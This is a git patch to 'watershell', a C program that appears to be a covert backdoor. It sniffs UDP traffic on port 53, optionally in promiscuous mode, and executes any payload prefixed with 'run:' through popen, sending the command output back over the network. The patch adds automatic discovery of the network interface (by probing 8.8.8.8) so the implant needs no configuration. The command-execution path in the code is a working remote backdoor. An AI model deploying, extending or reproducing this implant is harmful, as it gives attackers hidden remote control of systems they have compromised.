From ff698a56951ff58c7e6f09dea87bd080c9b27e9d Mon Sep 17 00:00:00 2001 From: Nicholas O'Brien Date: Sun, 14 Apr 2019 20:19:20 -0700 Subject: [PATCH] now automatically gets the interface --- watershell.c | 84 +++++++++++++++++++++++++++++++++++++++++----------- watershell.h | 1 + 2 files changed, 68 insertions(+), 17 deletions(-) diff --git a/watershell.c b/watershell.c index c5db8d7..fda99e0 100755 --- a/watershell.c +++ b/watershell.c @@ -7,18 +7,16 @@ * * Version: 1.0 * Created: 07/01/2015 09:10:41 AM - * Revision: none + * Revision: 04/14/2019 11:19:22 PM * Compiler: gcc * - * Author: Jaime Geiger, jmg2967@rit.edu + * Author: Jaime Geiger, jmg2967@rit.edu + * Author: Nicholas O'Brien, ndo9903@rit.edu * * ===================================================================================== */ /* CUSTOMIZE THESE LINES FOR HARD CODED VALUES */ -#ifndef IFACE -#define IFACE "ens33" -#endif #ifndef PORT #define PORT 53 #endif @@ -49,6 +47,7 @@ #include #include #include +#include #include "watershell.h" //these need to be global so that a sigint can close everything up @@ -62,7 +61,7 @@ int main(int argc, char *argv[]) struct sock_fprog filter; char buf[2048]; unsigned char *read; - char *udpdata, *iface = IFACE; + char *udpdata; struct iphdr *ip; struct udphdr *udp; unsigned port = PORT; @@ -70,15 +69,16 @@ int main(int argc, char *argv[]) //if (fork()) // exit(1); + char iface[100]; + memset(iface, '\0', sizeof(iface)); + get_interface_name(iface); + printf("Listening on %s\n", iface); promisc = PROMISC; // command line args while ((arg = getopt(argc, argv, "phi:l:")) != -1){ switch (arg){ - case 'i': - iface = optarg; - break; case 'p': if (DEBUG) puts("Running in promisc mode"); @@ -86,7 +86,7 @@ int main(int argc, char *argv[]) break; case 'h': if (DEBUG) - fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]); + fprintf(stderr, "Usage: %s [-l port] [-p]\n", argv[0]); return 0; break; case 'l': @@ -99,7 +99,7 @@ int main(int argc, char *argv[]) break; case '?': if (DEBUG) - fprintf(stderr, "Usage: %s [-l port] [-p] -i iface\n", argv[0]); + fprintf(stderr, "Usage: %s [-l port] [-p]\n", argv[0]); return 1; default: abort(); @@ -165,22 +165,23 @@ int main(int argc, char *argv[]) //run a command if the data is prefixed with run: if (!strncmp(udpdata, "run:", 4)){ + printf("Doing the thing: %s\n", udpdata); int out = open("/dev/null", O_WRONLY); int err = open("/dev/null", O_WRONLY); - dup2(out, 0); - dup2(err, 2); + dup2(out, 0); + dup2(err, 2); FILE *fd; fd = popen(udpdata + 4, "r"); if (!fd) return -1; - + char buffer[256]; size_t chread; /* String to store entire command contents in */ size_t comalloc = 256; size_t comlen = 0; char *comout = malloc(comalloc); - + /* Use fread so binary data is dealt with correctly */ while ((chread = fread(buffer, 1, sizeof(buffer), fd)) != 0) { if (comlen + chread >= comalloc) { @@ -192,13 +193,62 @@ int main(int argc, char *argv[]) } pclose(fd); send_status(buf, comout); - + } - + } return 0; } +// get interface name dynamically :D +void get_interface_name(char iface[]){ + const char* google_dns_server = "8.8.8.8"; + int dns_port = 53; + int sock, err; + + char buf[32]; + char buffer[100]; + + struct ifaddrs *addrs, *iap; + struct sockaddr_in *sa; + struct sockaddr_in serv; + struct sockaddr_in name; + + + + sock = socket(AF_INET, SOCK_DGRAM, 0); + + memset(&serv, 0, sizeof(serv)); + serv.sin_family = AF_INET; + serv.sin_addr.s_addr = inet_addr(google_dns_server); + serv.sin_port = htons(dns_port); + + err = connect(sock ,(const struct sockaddr*) &serv ,sizeof(serv)); + + + socklen_t namelen = sizeof(name); + err = getsockname(sock, (struct sockaddr*) &name, &namelen); + + + const char* p = inet_ntop(AF_INET, &name.sin_addr, buffer, 100); + + getifaddrs(&addrs); + for (iap = addrs; iap != NULL; iap = iap->ifa_next) { + if (iap->ifa_addr && (iap->ifa_flags & IFF_UP) && iap->ifa_addr->sa_family == AF_INET) { + sa = (struct sockaddr_in *)(iap->ifa_addr); + inet_ntop(iap->ifa_addr->sa_family, (void *)&(sa->sin_addr), buf, sizeof(buf)); + if (!strcmp(p, buf)) { + strncpy(iface, iap->ifa_name, strlen(iap->ifa_name)); + //interface_name = iap->ifa_name; + break; + } + } + } + + freeifaddrs(addrs); + close(sock); +} + //cleanup on SIGINT void sigint(int signum){ //if promiscuous mode was on, turn it off diff --git a/watershell.h b/watershell.h index 36ab78d..e8e672a 100644 --- a/watershell.h +++ b/watershell.h @@ -56,4 +56,5 @@ void send_status(unsigned char *buf, char *payload); void sigint(int signum); void ip_checksum(struct iphdr *ip); void udp_checksum(struct iphdr *ip, unsigned short *payload); +void get_interface_name(char iface[]); #endif